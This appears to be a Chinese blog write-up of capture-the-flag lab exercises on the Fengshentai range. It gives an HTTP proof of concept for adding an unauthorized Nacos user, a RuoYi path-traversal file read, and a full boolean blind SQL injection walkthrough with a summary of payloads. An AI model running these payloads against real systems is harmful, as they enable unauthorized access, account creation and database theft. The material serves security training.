封神台靶场练习

nacos

访问出现下面返回代表有可能存在未授权添加用户,直接构造poc即可

http://xxxx/nacos/v1/auth/users

poc

POST /nacos/v1/auth/users?username=test&password=test HTTP/1.1
Host: glkb-jqe1.aqlab.cn
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

pageNo=1&pageSize=1

未授权查看用户名和加盐的密码

http://xxxx/nacos/v1/auth/users?pageNo=1&pageSize=1

 ruoyi

使用若依的任意文件读取读取到tmp/flag.txt的文件过关

poc

GET /common/download/resource?resource=/profile/../../../../../../../tmp/flag.txt HTTP/1.1
Host: wba2x0kpf.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic emthcTp6a2Fx
Connection: close
Cookie: JSESSIONID=ae3af2ae-dd7c-4524-8544-4475ec9e6c90
Upgrade-Insecure-Requests: 1
Priority: u=0, i

sql盲注靶场A

前置知识

count用法

 只是用的count的话会报错

需要结合前面的查询语句 比如 select * from test where id=1 and xxxxxx

单独使用是可以使用的,但是要加上>2这种判断就必须加上面说的查询语句

ps:求列的长度的时候length字段也需要包裹

需要注意虽然在数据库中环境中尝试执行不需要包裹但是在测试sql注入中却要使用括号把length包裹,只限在求列的长度的时候,求数据库和表的长度的时候直接使用and length(xxxx)

ps:在测试中涉及到长度或者计数的时候可以使用>a来使回显正常检查语法,之后直接放到爆破中去;

拿到手后先闭合,直接and 1=1回显有数据,也就是正常,然后and 1=2回显no result search,也就是不正常,闭合完毕;注释符加不加无所谓

开始测数据库长度

?id=1/**/and/**/(select/**/length(database()))>11

大于11不大于12,数据库长度为12

跑库名

使用交叉爆破,并且检索’no result search‘这个返回,这个是错误的返回,正确的返回是‘有数据‘,那再勾选上Negative search参数,代表反选,即可把数据库名称从第1个字节到第12个字节正确的字母都返回回来;

?id=1/**/and/**/(select/**/substr(database(),1,1))='a'

确定有几个表

大于2不大于3,数据库里有三个表

?id=1/**/and/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>3

表名的长度

贴个解释

?id=1/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1))>2

就得到第一个表大于5不大于6,那就是6;第二个表大于3不大于4,那就是4;第三个表大于3不大于4,就是4;分别是6,4,4

猜测表名

?id=1/**/and/**/(select/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))='a'

猜测表中字段的数量

直接是2,代表有两列

and/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='loflag')=2

字段的长度

直接是=2,(这是第一个字段里数据的长度,注意limit 0,1)

?id=1/**/and/**/(length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='loflag'/**/and/**/table_schema=database()/**/limit/**/0,1))=2)

爆破字段

?id=1/**/and/**/(select/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='loflag'/**/and/**/table_schema=database()/**/limit/**/0,1),1,1)='i')

接下来肯定跑flaglo字段内容了

先看数据的长度

and/**/(length((select/**/flaglo/**/from/**/loflag/**/limit/**/0,1))=1

得到每一行数据的长度

跑数据

使用截取然后直接比对字母的话,无法区分大小写和特殊字符的情况,如下

?id=1/**/and/**/(ascii/**/(substr((select/**/flaglo/**/from/**/loflag/**/limit/**/0,1),1,1))='a')

使用ascii的方式可以显示的比较完全

?id=1/**/and/**/(ascii/**/(substr((select/**/flaglo/**/from/**/loflag/**/limit/**/0,1),1,1))='122')

最终的flag为zKaQ-QQQ,如果是使用字母比对的话就是zkaqqqq,返回会有缺少和字母大小写的问题

汇总
----------
id=1 and (select length(database()))>11
----------
id=1 and (select substr(database(),1,1))='a'
----------
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())>3
----------
id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>2
----------
id=1 and (select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='a'
----------
id=1 and (select count(column_name) from information_schema.columns where table_name='loflag')=2
----------
id=1 and (length((select column_name from information_schema.columns where table_name='loflag' and table_schema=database() limit 0,1))=2)
----------
id=1 and (select substr((select column_name from information_schema.columns where table_name='loflag' and table_schema=database() limit 0,1),1,1)='i')
----------
and (length((select flaglo from loflag limit 0,1))=1
----------
id=1 and (ascii (substr((select flaglo from loflag limit 0,1),1,1))='a')
----------
id=1 and (ascii (substr((select flaglo from loflag limit 0,1),1,1))='122')
----------

其中,substr前面需要select,ascii和length不需要,ascii和select一直需要括号包裹,length只有在求列的长度和数据的时候加括号

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值